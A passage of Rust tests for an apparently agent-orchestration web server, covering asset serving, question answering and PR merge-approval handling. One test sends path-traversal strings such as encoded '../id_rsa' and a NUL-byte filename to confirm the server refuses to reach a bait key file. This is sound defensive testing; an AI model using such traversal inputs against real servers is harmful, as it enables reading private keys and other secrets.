11795            assert_eq!(res.status, 200, "{name}: {}", res.body);
11796            // Serving this as text/html would be a way to reach agent markup
11797            // at the top level of the operator's browser, outside the frame's
11798            // sandbox and outside its CSP - which is the whole thing the panel
11799            // design exists to prevent. Unlisted types are downloads.
11800            assert_eq!(
11801                res.header("content-type"),
11802                Some("application/octet-stream"),
11803                "{name} must not be a type the browser will execute or render"
11804            );
11805        }
11806        // The whitelist is matched case-insensitively, so an agent shouting the
11807        // extension still gets a readable file rather than a download.
11808        let txt = fx
11809            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11810            .await;
11811        assert_eq!(
11812            txt.header("content-type"),
11813            Some("text/plain; charset=utf-8")
11814        );
11815    }
11816
11817    #[tokio::test]
11818    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11819        let fx = Fixture::start().await;
11820        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11821        // Something outside the panel directory that a traversal would reach if
11822        // one got through, so a passing test is not merely "the file was
11823        // missing anyway".
11824        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11825
11826        // Decoded before this server's handler sees them: axum percent-decodes
11827        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11828        // string with a NUL in it. All three look like ordinary single-segment
11829        // filenames to the router, so the router passes them through and
11830        // `valid_asset_name` is what refuses them - for the literal `..`, and
11831        // for `/`, `\` and NUL not being in the permitted character set.
11832        for encoded in [
11833            "%2e%2e%2fid_rsa",
11834            "..%2fid_rsa",
11835            "..%5cid_rsa",
11836            "%2e%2e%5cid_rsa",
11837            "diff%00.svg",
11838            "..",
11839            ".hidden",
11840            "%2e%2e%2f%2e%2e%2fid_rsa",
11841        ] {
11842            let res = fx
11843                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11844                .await;
11845            assert_eq!(
11846                res.status, 400,
11847                "`{encoded}` has to be refused by name, not looked up: {}",
11848                res.body
11849            );
11850            assert!(res.json()["error"].is_string(), "{}", res.body);
11851        }
11852
11853        // Not decoded, and never this handler's problem: a real slash makes the
11854        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11855        // so axum's router has no route to match and answers before any code
11856        // here runs. Asserted so that a future route with a wildcard segment
11857        // cannot quietly open this door.
11858        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11859            let res = fx
11860                .get(&format!("/api/questions/{id}/asset/{literal}"))
11861                .await;
11862            assert_eq!(
11863                res.status, 404,
11864                "`{literal}` must not match the asset route at all: {}",
11865                res.body
11866            );
11867        }
11868    }
11869
11870    #[tokio::test]
11871    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11872        let fx = Fixture::start().await;
11873        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11874        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11875
11876        // A question nobody wrote a panel for. The client preflights with HEAD
11877        // and cannot see inside a sandboxed frame, so this must be a status and
11878        // not an empty page.
11879        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11880        assert_eq!(none.status, 404, "{}", none.body);
11881        assert!(none.json()["error"].is_string(), "{}", none.body);
11882        assert_eq!(
11883            fx.head(&format!("/api/questions/{plain}/panel"))
11884                .await
11885                .status,
11886            404,
11887            "the preflight is the only way the client can learn this"
11888        );
11889
11890        // A name that is perfectly legal and simply is not there.
11891        let missing = fx
11892            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11893            .await;
11894        assert_eq!(missing.status, 404, "{}", missing.body);
11895        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11896
11897        // A question that does not exist at all, on both routes.
11898        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11899        assert_eq!(
11900            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11901            404
11902        );
11903    }
11904
11905    #[tokio::test]
11906    async fn a_run_with_an_open_question_reads_as_waiting() {
11907        let fx = Fixture::start().await;
11908        let run = "20260902-000000-beef".to_owned();
11909        write_run(&fx.runs(), &run, RunStatus::Implementing);
11910
11911        let before = fx.get("/api/runs").await.json();
11912        assert_eq!(before[0]["waiting"], false, "{before}");
11913
11914        let store = fx.questions();
11915        let mut q = Question::new(
11916            run.clone(),
11917            "implement".to_owned(),
11918            "impl-A".to_owned(),
11919            "Which backend?".to_owned(),
11920            String::new(),
11921            vec!["SQLite".to_owned()],
11922        );
11923        store.put(&mut q).expect("put");
11924
11925        let during = fx.get("/api/runs").await.json();
11926        assert_eq!(during[0]["waiting"], true, "{during}");
11927
11928        // Answered: the run is moving again, and the flag has to follow without
11929        // anything having rewritten run.json.
11930        q.answer(Answer::Choice("SQLite".to_owned()))
11931            .expect("answer");
11932        store.put(&mut q).expect("put");
11933        let after = fx.get("/api/runs").await.json();
11934        assert_eq!(after[0]["waiting"], false, "{after}");
11935    }
11936
11937    #[tokio::test]
11938    async fn an_open_question_is_listed_and_counted_by_health() {
11939        let fx = Fixture::start().await;
11940        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11941
11942        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11943        let listed = fx.get("/api/questions").await.json();
11944        assert_eq!(listed.as_array().expect("array").len(), 1);
11945        assert_eq!(listed[0]["id"], id);
11946        assert_eq!(listed[0]["status"], "open");
11947        assert_eq!(listed[0]["choices"][1], "Redis");
11948        // The count is what makes the phone's indicator honest: it is the one
11949        // number meaning nothing will move until a human acts.
11950        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11951    }
11952
11953    fn obsolete_approval_state() -> RunState {
11954        let mut state = crate::land::tests::repair_state(true, true);
11955        state.pr = Some(crate::run::PrRecord {
11956            url: "https://github.com/example/repo/pull/42".into(),
11957            number: 42,
11958            state: "open".into(),
11959            checks: "green".into(),
11960            round: 1,
11961            rounds: 4,
11962            red_at_merge: Vec::new(),
11963        });
11964        state
11965    }
11966
11967    #[tokio::test]
11968    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11969        for owner in ["missing", "current", "completed", "later"] {
11970            let fx = Fixture {
11971                home: TempDir::new().unwrap(),
11972                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11973            };
11974            let mut state = obsolete_approval_state();
11975            state.status = RunStatus::Landing;
11976            state.parked = true;
11977            state.driver_exited = true;
11978            let mut q = Question::new(
11979                state.id.clone(),
11980                crate::land::APPROVAL_NODE.into(),
11981                "land".into(),
11982                "Old approval".into(),
11983                "Original evidence".into(),
11984                vec!["merge".into(), "hold".into()],
11985            );
11986            state.land_approval = Some(crate::run::LandApproval {
11987                question: q.id.clone(),
11988                head: "head".into(),
11989            });
11990            state.save_under(fx.home.path()).unwrap();
11991            let stale = state.clone();
11992            fx.questions().put(&mut q).unwrap();
11993            let mut task = Task::new(
11994                "Owner".into(),
11995                "Original instruction".into(),
11996                state.repo.clone(),
11997                Source::Human,
11998            );
11999            task.runs.push(state.id.clone());
12000            task.status = if owner == "completed" {
12001                TaskStatus::Done
12002            } else {
12003                TaskStatus::Parked
12004            };
12005            if owner == "later" {
12006                task.runs.push("later-run".into());
12007            }
12008            if owner != "missing" {
12009                fx.queue().put(&mut task).unwrap();
12010            }
12011            let ui = Arc::new(Ui::new(
12012                fx.queue(),
12013                fx.questions(),
12014                fx.talks(),
12015                fx.runs(),
12016                fx.home.path().into(),
12017                state.repo.clone(),
12018            ));
12019            let response = question_answer(
12020                State(ui),
12021                Path(q.id.clone()),
12022                Ok(Json(NewAnswer {
12023                    choice: Some(crate::merge_decision::DISMISS.into()),
12024                    text: None,
12025                    ..Default::default()
12026                })),
12027            )
12028            .await
12029            .unwrap();
12030            assert_eq!(
12031                response.0.question.resolution().as_deref(),
12032                Some(crate::merge_decision::DISMISS)
12033            );
12034            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12035            assert_eq!(disk.status, RunStatus::Superseded);
12036            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12037            assert!(!crate::merge_decision::resumable_hold(&disk));
12038            assert_eq!(
12039                serde_json::to_value(&disk.pr).unwrap(),
12040                serde_json::to_value(&stale.pr).unwrap()
12041            );
12042            assert_eq!(fx.questions().count_open(), 0);
12043            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12044            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12045            if owner == "missing" {
12046                assert!(fx.queue().list().is_empty());
12047            } else {
12048                let after = fx.queue().get(&task.id).unwrap();
12049                assert_eq!(
12050                    after.status,
12051                    if owner == "current" {
12052                        TaskStatus::Done
12053                    } else {
12054                        task.status
12055                    }
12056                );
12057                assert_eq!(after.runs, task.runs);
12058                assert_eq!(after.instruction, task.instruction);
12059                assert_eq!(after.action_applied(&q.id), owner == "current");
12060            }
12061        }
12062    }
12063
12064    #[tokio::test]
12065    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12066        let fx = Fixture::start().await;
12067        let mut state = obsolete_approval_state();
12068        state.status = RunStatus::Landing;
12069        state.parked = true;
12070        state.driver_exited = true;
12071        let mut q = Question::new(
12072            state.id.clone(),
12073            crate::land::APPROVAL_NODE.into(),
12074            "land".into(),
12075            "Superseded PR approval".into(),
12076            "Original review evidence".into(),
12077            vec!["merge".into(), "hold".into()],
12078        );
12079        state.land_approval = Some(crate::run::LandApproval {
12080            question: q.id.clone(),
12081            head: "old-reviewed-head".into(),
12082        });
12083        // The old persisted PR may still say open even when a separate change
12084        // already landed. Dismissal must not use that snapshot to close it.
12085        state.save_under(fx.home.path()).unwrap();
12086        let stale_driver = state.clone();
12087        fx.questions().put(&mut q).unwrap();
12088        let path = fx
12089            .home
12090            .path()
12091            .join("questions")
12092            .join(format!("{}.json", q.id));
12093        let mut legacy = serde_json::to_value(&q).unwrap();
12094        legacy["schema"] = 9.into();
12095        legacy.as_object_mut().unwrap().remove("merge_target");
12096        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12097
12098        // POST without GET tests legacy upgrade and validation at the actual
12099        // entry point, rather than constructing a modern card in the test.
12100        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12101        let answer_path = format!("/api/questions/{}/answer", q.id);
12102        let res = fx.post(&answer_path, Some(&body)).await;
12103        assert_eq!(res.status, 200, "{}", res.body);
12104        let disk = fx.questions().get(&q.id).unwrap();
12105        assert_eq!(
12106            disk.resolution().as_deref(),
12107            Some(crate::merge_decision::DISMISS)
12108        );
12109        assert!(disk.detail.starts_with("Original review evidence"));
12110        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12111        assert_eq!(retired.status, RunStatus::Superseded);
12112        assert_eq!(
12113            serde_json::to_value(&retired.pr).unwrap(),
12114            serde_json::to_value(&state.pr).unwrap()
12115        );
12116        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12117        assert!(!crate::merge_decision::resumable_hold(&retired));
12118        assert!(fx.queue().list().is_empty());
12119        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12120        // A restarted server re-reads the persisted pending list.
12121        let addr = Fixture::serve(
12122            fx.home.path(),
12123            PathBuf::from("/repo/magi"),
12124            launch_idle,
12125            None,
12126        )
12127        .await;
12128        let reconnected = Fixture {
12129            home: fx.home,
12130            addr,
12131        };
12132        let listed = reconnected.get("/api/questions").await.json();
12133        assert!(
12134            listed
12135                .as_array()
12136                .unwrap()
12137                .iter()
12138                .all(|q| q["status"] != "open")
12139        );
12140        assert_eq!(listed[0]["id"], q.id, "history remains available");
12141        assert_eq!(
12142            reconnected.get("/api/health").await.json()["questions_open"],
12143            0
12144        );
12145        assert_eq!(
12146            reconnected
12147                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12148                .await
12149                .status,
12150            409
12151        );
12152        // A late waiter cannot turn the old answer into a new decision.
12153        assert!(
12154            reconnected
12155                .questions()
12156                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12157                .is_err()
12158        );
12159        // The same guard used by claims, repair and publication rejects a
12160        // saved in-memory driver as well as the persisted terminal record.
12161        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12162    }
12163
12164    #[tokio::test]
12165    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12166        let fx = Fixture::start().await;
12167        let mut state = obsolete_approval_state();
12168        state.status = RunStatus::Landing;
12169        state.driver_exited = true;
12170        let mut q = Question::new(
12171            state.id.clone(),
12172            crate::land::APPROVAL_NODE.into(),
12173            "land".into(),
12174            "Obsolete approval".into(),
12175            String::new(),
12176            vec!["merge".into(), "hold".into()],
12177        );
12178        state.land_approval = Some(crate::run::LandApproval {
12179            question: q.id.clone(),
12180            head: "head".into(),
12181        });
12182        state.save_under(fx.home.path()).unwrap();
12183        fx.questions().put(&mut q).unwrap();
12184        let mut task = Task::new(
12185            "Owner".into(),
12186            "Original instruction".into(),
12187            state.repo.clone(),
12188            Source::Human,
12189        );
12190        task.runs = vec![state.id.clone(), "later-run".into()];
12191        fx.queue().put(&mut task).unwrap();
12192        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12193        let claim = fx.queue().claim(&task.id).unwrap();
12194        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12195        let path = format!("/api/questions/{}/answer", q.id);
12196        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12197        assert!(fx.questions().get(&q.id).unwrap().status.open());
12198        drop(claim);
12199        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12200        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12201        assert!(fx.questions().get(&q.id).unwrap().status.open());
12202        drop(publication);
12203        // Unknown liveness and armed auto-merge both fail without settling.
12204        state.driver_exited = false;
12205        state.driver_pid = None;
12206        state.driver_claimed = None; // No durable proof of an unstarted execution.
12207        state.save_under(fx.home.path()).unwrap();
12208        assert_eq!(
12209            state.liveness_under(fx.home.path(), false),
12210            crate::run::Liveness::Unknown
12211        );
12212
12213        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12214        state.driver_exited = true;
12215        state.land_armed_head = Some("head".into());
12216        state.save_under(fx.home.path()).unwrap();
12217        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12218        state.land_armed_head = None;
12219        state.save_under(fx.home.path()).unwrap();
12220        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12221        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12222        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12223    }
12224
12225    #[tokio::test]
12226    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12227        let fx = Fixture::start().await;
12228        let mut state = obsolete_approval_state();
12229        state.status = RunStatus::Landing;
12230        state.driver_exited = true;
12231        let mut q = Question::new(
12232            state.id.clone(),
12233            crate::land::APPROVAL_NODE.into(),
12234            "land".into(),
12235            "Obsolete approval".into(),
12236            String::new(),
12237            vec!["merge".into(), "hold".into()],
12238        );
12239        state.land_approval = Some(crate::run::LandApproval {
12240            question: q.id.clone(),
12241            head: "head".into(),
12242        });
12243        state.save_under(fx.home.path()).unwrap();
12244        fx.questions().put(&mut q).unwrap();
12245        let mut task = Task::new(
12246            "Owner".into(),
12247            "Original instruction".into(),
12248            state.repo.clone(),
12249            Source::Human,
12250        );
12251        task.runs.push(state.id.clone());
12252        task.status = TaskStatus::Parked;
12253        fx.queue().put(&mut task).unwrap();
12254        // Model a crash after the run stop was persisted but before the queue
12255        // and answered question were flushed. Retrying must finish, not resume.
12256        state.merge_decision = Some(crate::merge_decision::Decision {
12257            question: q.id.clone(),
12258            target: crate::merge_decision::Target {
12259                pr: state.pr.as_ref().unwrap().url.clone(),
12260                head: "head".into(),
12261                language: "ja".into(),
12262            },
12263            choice: crate::merge_decision::DISMISS.into(),
12264            closed: false,
12265            replacement_run: None,
12266            replacement_pr: None,
12267        });
12268        state.status = RunStatus::Superseded;
12269        state.save_under(fx.home.path()).unwrap();
12270        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12271        let path = format!("/api/questions/{}/answer", q.id);
12272        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12273        let done = fx.queue().get(&task.id).unwrap();
12274        assert_eq!(done.status, TaskStatus::Done);
12275        assert_eq!(done.runs, task.runs);
12276        assert_eq!(done.instruction, task.instruction);
12277        assert!(done.action_applied(&q.id));
12278        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12279        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12280        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12281    }
12282
12283    #[tokio::test]
12284    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12285        let home = TempDir::new().unwrap();
12286        let ui = Arc::new(Ui::new(
12287            Queue::at(home.path().join("queue")),
12288            Questions::at(home.path().join("questions")),
12289            Talks::at(home.path().join("talks")),
12290            home.path().join("runs"),
12291            home.path().to_owned(),
12292            home.path().to_owned(),
12293        ));
12294        let talks = &ui.talks;
12295        let chat =
12296            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12297        let mut q = Question::new(
12298            "run".into(),
12299            crate::land::APPROVAL_NODE.into(),
12300            "land".into(),
12301            "Merge?".into(),
12302            String::new(),
12303            vec!["merge".into(), "hold".into()],
12304        );
12305        q.routed_task = Some("task".into());
12306        q.routed_chat = Some(chat.id.clone());
12307        q.merge_target = Some(crate::merge_decision::Target {
12308            pr: "https://example.test/pull/1".into(),
12309            head: "head-a".into(),
12310            language: "en".into(),
12311        });
12312        ui.questions.put(&mut q).unwrap();
12313        let send = |body| {
12314            question_answer(
12315                State(ui.clone()),
12316                Path(q.id.clone()),
12317                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12318            )
12319        };
12320        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12321        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12322        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12323        assert!(send(wrong_chat).await.is_err());
12324        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12325        assert!(send(stale).await.is_err());
12326        assert!(ui.questions.get(&q.id).unwrap().status.open());
12327        assert!(send(button.clone()).await.is_ok());
12328        assert_eq!(
12329            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12330            Some("merge")
12331        );
12332        assert!(send(button).await.is_err());
12333    }
12334
12335    #[tokio::test]
12336    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12337        let home = TempDir::new().unwrap();
12338        let ui = Arc::new(Ui::new(
12339            Queue::at(home.path().join("queue")),
12340            Questions::at(home.path().join("questions")),
12341            Talks::at(home.path().join("talks")),
12342            home.path().join("runs"),
12343            home.path().to_owned(),
12344            home.path().to_owned(),
12345        ));
12346        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12347            let mut q = Question::new(
12348                "run".into(),
12349                crate::land::APPROVAL_NODE.into(),
12350                "land".into(),
12351                "Merge?".into(),
12352                String::new(),
12353                vec!["merge".into(), choice.into()],
12354            );
12355            q.routed_task = Some("task".into());
12356            q.merge_target = Some(crate::merge_decision::Target {
12357                pr: "https://example.test/pull/1".into(),
12358                head: "head-a".into(),
12359                language: "en".into(),
12360            });
12361            ui.questions.put(&mut q).unwrap();
12362            let answer = |c: &str| {
12363                question_answer(
12364                    State(ui.clone()),
12365                    Path(q.id.clone()),
12366                    Ok(Json(
12367                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12368                            .unwrap(),
12369                    )),
12370                )
12371            };
12372            let _ = answer(choice).await.unwrap();
12373            assert_eq!(
12374                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12375                Some(choice)
12376            );
12377        }
12378    }
12379
12380    #[tokio::test]
12381    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12382        let home = TempDir::new().unwrap();
12383        let ui = Arc::new(Ui::new(
12384            Queue::at(home.path().join("queue")),
12385            Questions::at(home.path().join("questions")),
12386            Talks::at(home.path().join("talks")),
12387            home.path().join("runs"),
12388            home.path().to_owned(),
12389            home.path().to_owned(),
12390        ));
12391        let mut q = Question::new(
12392            "run".into(),
12393            crate::github_text::ASK_NODE.into(),
12394            "posting-gate".into(),
12395            "Post?".into(),
12396            String::new(),
12397            vec!["use fallback".into()],
12398        );
12399        q.routed_task = Some("task".into());
12400        ui.questions.put(&mut q).unwrap();
12401        let sent = question_answer(
12402            State(ui.clone()),
12403            Path(q.id.clone()),
12404            Ok(Json(
12405                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12406                    .unwrap(),
12407            )),
12408        )
12409        .await;
12410        let _ = sent.unwrap();
12411        assert_eq!(
12412            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12413            Some("use fallback")
12414        );
12415    }
12416
12417    #[tokio::test]
12418    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12419        let fx = Fixture {
12420            home: TempDir::new().unwrap(),
12421            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12422        };
12423        for choice in [
12424            crate::land::HOLD,
12425            crate::land::REPAIR,
12426            crate::land::APPROVE,
12427            crate::merge_decision::WITHDRAW,
12428            "reimplement:beta",
12429        ] {
12430            let mut q = Question::new(
12431                "old-run".into(),
12432                crate::land::APPROVAL_NODE.into(),
12433                "land".into(),
12434                "Decision".into(),
12435                "Review findings".into(),
12436                vec![
12437                    "merge".into(),
12438                    "hold".into(),
12439                    crate::land::REPAIR.into(),
12440                    crate::merge_decision::WITHDRAW.into(),
12441                    "reimplement:beta".into(),
12442                ],
12443            );
12444            q.merge_target = Some(crate::merge_decision::Target {
12445                pr: "https://github.com/example/repo/pull/42".into(),
12446                head: "exact-reviewed-head".into(),
12447                language: "ja".into(),
12448            });
12449            q.consult = Some(ask::ChatConsult {
12450                talk: "another-conversation".into(),
12451                at: jiff::Timestamp::now(),
12452            });
12453            fx.questions().put(&mut q).unwrap();
12454            let ui = Arc::new(Ui::new(
12455                fx.queue(),
12456                fx.questions(),
12457                fx.talks(),
12458                fx.runs(),
12459                fx.home.path().into(),
12460                std::path::PathBuf::from("."),
12461            ));
12462            let response = question_answer(
12463                State(ui.clone()),
12464                Path(q.id.clone()),
12465                Ok(Json(NewAnswer {
12466                    choice: Some(choice.into()),
12467                    text: None,
12468                    ..Default::default()
12469                })),
12470            )
12471            .await
12472            .unwrap();
12473            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12474            let disk = fx.questions().get(&q.id).unwrap();
12475            assert_eq!(disk.merge_target, q.merge_target);
12476            assert_eq!(disk.consult, q.consult);
12477            assert_eq!(disk.resolution().as_deref(), Some(choice));
12478            assert!(
12479                question_answer(
12480                    State(ui),
12481                    Path(q.id.clone()),
12482                    Ok(Json(NewAnswer {
12483                        choice: Some("merge".into()),
12484                        text: None,
12485                        ..Default::default()
12486                    }))
12487                )
12488                .await
12489                .is_err(),
12490                "an already settled decision cannot turn into merge approval"
12491            );
12492        }
12493    }
12494
12495    #[tokio::test]
12496    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12497        let fx = Fixture {
12498            home: TempDir::new().unwrap(),
12499            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12500        };
12501        let mut state = crate::land::tests::repair_state(true, true);
12502        state.status = RunStatus::Landing;
12503        state.parked = true;
12504        state.driver_exited = true;
12505        let mut task = Task::new(
12506            "Existing PR owner".into(),
12507            state.instruction.clone(),
12508            state.repo.clone(),
12509            Source::Human,
12510        );
12511        task.runs.push(state.id.clone());
12512        task.status = TaskStatus::Parked;
12513        fx.queue().put(&mut task).unwrap();
12514        let mut q = Question::new(
12515            state.id.clone(),
12516            crate::land::APPROVAL_NODE.into(),
12517            "land".into(),
12518            "Contested merge".into(),
12519            "Original evidence".into(),
12520            vec!["merge".into(), "hold".into()],
12521        );
12522        state.land_approval = Some(crate::run::LandApproval {
12523            question: q.id.clone(),
12524            head: "reviewed-head".into(),
12525        });
12526        state.save_under(fx.home.path()).unwrap();
12527        fx.questions().put(&mut q).unwrap();
12528        // A later repair answer on this old card supersedes this manual hold.
12529        task.hold_manual(Some("Pause this PR".into()));
12530        fx.queue().put(&mut task).unwrap();
12531        // POST directly, without a preceding GET: validation must see the
12532        // same durable upgrade that the card, CLI and chat see.
12533        let ui = Arc::new(Ui::new(
12534            fx.queue(),
12535            fx.questions(),
12536            fx.talks(),
12537            fx.runs(),
12538            fx.home.path().to_path_buf(),
12539            state.repo.clone(),
12540        ));
12541        let response = question_answer(
12542            State(ui),
12543            Path(q.id.clone()),
12544            Ok(Json(NewAnswer {
12545                choice: Some(crate::land::REPAIR.into()),
12546                text: None,
12547                ..Default::default()
12548            })),
12549        )
12550        .await
12551        .unwrap();
12552        assert_eq!(response.0.question.id, q.id);
12553        let upgraded = fx.questions().get(&q.id).unwrap();
12554        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12555        assert!(upgraded.detail.starts_with("Original evidence"));
12556        let claim = fx.queue().claim(&task.id).unwrap();
12557        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12558        assert!(
12559            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12560            "an existing driver keeps its claim"
12561        );
12562        drop(claim);
12563        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12564        let resumed = fx.queue().get(&task.id).unwrap();
12565        assert_eq!(
12566            resumed
12567                .resume_override
12568                .as_ref()
12569                .unwrap()
12570                .pinned_run
12571                .as_deref(),
12572            Some(state.id.as_str())
12573        );
12574        assert!(resumed.status.runnable());
12575        assert_eq!(resumed.instruction, task.instruction);
12576        assert_eq!(resumed.runs, task.runs);
12577        assert!(resumed.action_applied(&q.id));
12578        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12579        assert_eq!(fx.queue().list().len(), 1);
12580        assert_eq!(
12581            fx.queue().get(&task.id).unwrap().resume_override,
12582            resumed.resume_override
12583        );
12584        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12585        assert!(
12586            disk.merge_repairs.is_empty(),
12587            "only the claimed run driver may execute repair"
12588        );
12589        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12590    }
12591
12592    #[tokio::test]
12593    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12594        let fx = Fixture::start().await;
12595        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12596        let path = format!("/api/questions/{id}/answer");
12597
12598        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12599        assert_eq!(res.status, 200, "{}", res.body);
12600        let body = res.json();
12601        assert_eq!(body["status"], "answered");
12602        assert_eq!(body["answer"]["choice"], "Redis");
12603
12604        // Answered from the terminal in between the list and the tap: the UI
12605        // must be able to tell this from a bad request, so it can show the
12606        // recorded answer instead of an error.
12607        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12608        assert_eq!(again.status, 409, "{}", again.body);
12609        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12610    }
12611
12612    #[tokio::test]
12613    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12614        let home = tempfile::tempdir().unwrap();
12615        let ui = delta_test_ui(home.path());
12616        let mut q = Question::new(
12617            "task".into(),
12618            crate::land::APPROVAL_NODE.into(),
12619            "land".into(),
12620            "Explain?".into(),
12621            String::new(),
12622            vec!["hold".into()],
12623        );
12624        q.deputy = Some(ask::Deputy::new("context".into()));
12625        ui.questions.put(&mut q).unwrap();
12626        let mut cfg = stub_config();
12627        cfg.daemon.max_deputies = 0;
12628        let mut status = crate::daemon::Status::new();
12629        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12630        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12631        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12632        let error = question_say(
12633            State(ui.clone()),
12634            Path(q.id.clone()),
12635            Ok(Json(NewSay {
12636                body: "Explain the findings".into(),
12637            })),
12638        )
12639        .await
12640        .unwrap_err();
12641        assert_eq!(
12642            error.text_reason,
12643            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12644        );
12645        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12646
12647        let mut text = Question::new(
12648            "task".into(),
12649            "ask".into(),
12650            "operator".into(),
12651            "Which name?".into(),
12652            String::new(),
12653            vec![],
12654        );
12655        ui.questions.put(&mut text).unwrap();
12656        let Json(view) = question_answer(
12657            State(ui.clone()),
12658            Path(text.id.clone()),
12659            Ok(Json(NewAnswer {
12660                choice: None,
12661                text: Some("chosen name".into()),
12662                ..Default::default()
12663            })),
12664        )
12665        .await
12666        .unwrap();
12667        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12668        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12669    }
12670
12671    #[tokio::test]
12672    async fn question_text_handler_admission_without_transport() {
12673        let home = tempfile::tempdir().unwrap();
12674        let ui = delta_test_ui(home.path());
12675        let mut q = Question::new(
12676            "task".into(),
12677            crate::land::APPROVAL_NODE.into(),
12678            "land".into(),
12679            "May this PR merge?".into(),
12680            String::new(),
12681            vec!["hold".into()],
12682        );
12683        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12684        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12685        ui.questions.put(&mut q).unwrap();
12686        let say = || {
12687            Ok(Json(NewSay {
12688                body: "Explain the findings".into(),
